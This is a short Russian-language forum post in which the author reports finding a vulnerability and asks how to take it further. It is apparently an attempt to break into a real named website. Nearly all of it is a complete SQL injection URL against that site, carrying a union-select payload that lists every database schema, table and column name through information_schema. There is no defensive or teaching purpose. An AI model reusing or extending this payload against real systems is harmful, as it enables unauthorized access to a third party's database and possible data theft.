Вот нашел уязвимость:
А дальше можно как-то развить ее?

http://www.eash.eu/openletter2011/index.php?file=show.php&ref=-21308+union+select+1,2,3,4,5,6,7,(select(@x)from(s elect(@x:=0x00),(select(null)from(information_sche ma.columns)where(table_schema!=0x696e666f726d61746 96f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c 62723e,table_schema,0x2e,table_name,0x3a,column_na me))))x),9,10,11,12,13,14,15,16,17,18,19,20+--+